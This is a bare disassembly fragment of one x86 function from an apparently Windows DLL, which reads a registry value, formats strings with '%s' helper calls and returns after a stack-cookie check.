call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002dd1
lea edx, [ebp - 0x588]
push edx
lea eax, [ebp - 0x118]
push eax
mov eax, dword [ebp - 0x584]
lea ecx, [ebp - 0x32c]
push ecx
push ebx
lea edx, [ebp - 0x338]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x584]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x118]
push edx
lea eax, [ebp - 0x57c]
push eax
lea ecx, [ebp - 0x328]
push ecx
call fcn.1002145d
add esp, 0xc
push 0x104
lea edx, [ebp - 0x220]
push ebx
push edx
call fcn.10024b90
sub esp, 0x10
mov esi, esp
lea eax, [ebp - 0x328]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x32c], esp
mov byte [esi], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10002e20
sub eax, edi
push eax
lea eax, [ebp - 0x328]
push eax
mov ecx, esi
call fcn.10017ba0
lea ecx, [ebp - 0x368]
call fcn.10003d10
mov edi, esp
mov esi, eax
mov word [ebp - 0x57c], 0x7325
mov byte [ebp - 0x57a], bl
mov ecx, 7
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x57c]
push ecx
lea edx, [ebp - 0x220]
push edx
call fcn.1002145d
xor eax, eax
add esp, 0x24
cmp dword [ebp - 0x354], 0x10
mov word [ebp - 0x57c], ax
mov byte [ebp - 0x57a], al
jb 0x10002e9a
mov eax, dword [ebp - 0x368]
push eax
call fcn.1002120f
add esp, 4
push 0x104
lea ecx, [ebp - 0x328]
push ebx
push ecx
call fcn.10024b90
add esp, 0xc
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x57c]
push eax
lea ecx, [ebp - 0x328]
push ecx
mov word [ebp - 0x57c], 0x7325
mov byte [ebp - 0x57a], bl
call fcn.1002145d
add esp, 0xc
cmp dword [ebp - 0x3a0], 0x10
jb 0x10002ef3
mov edx, dword [ebp - 0x3b4]
push edx
call fcn.1002120f
add esp, 4
lea eax, [ebp - 0x328]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002121a
mov esp, ebp
pop ebp
ret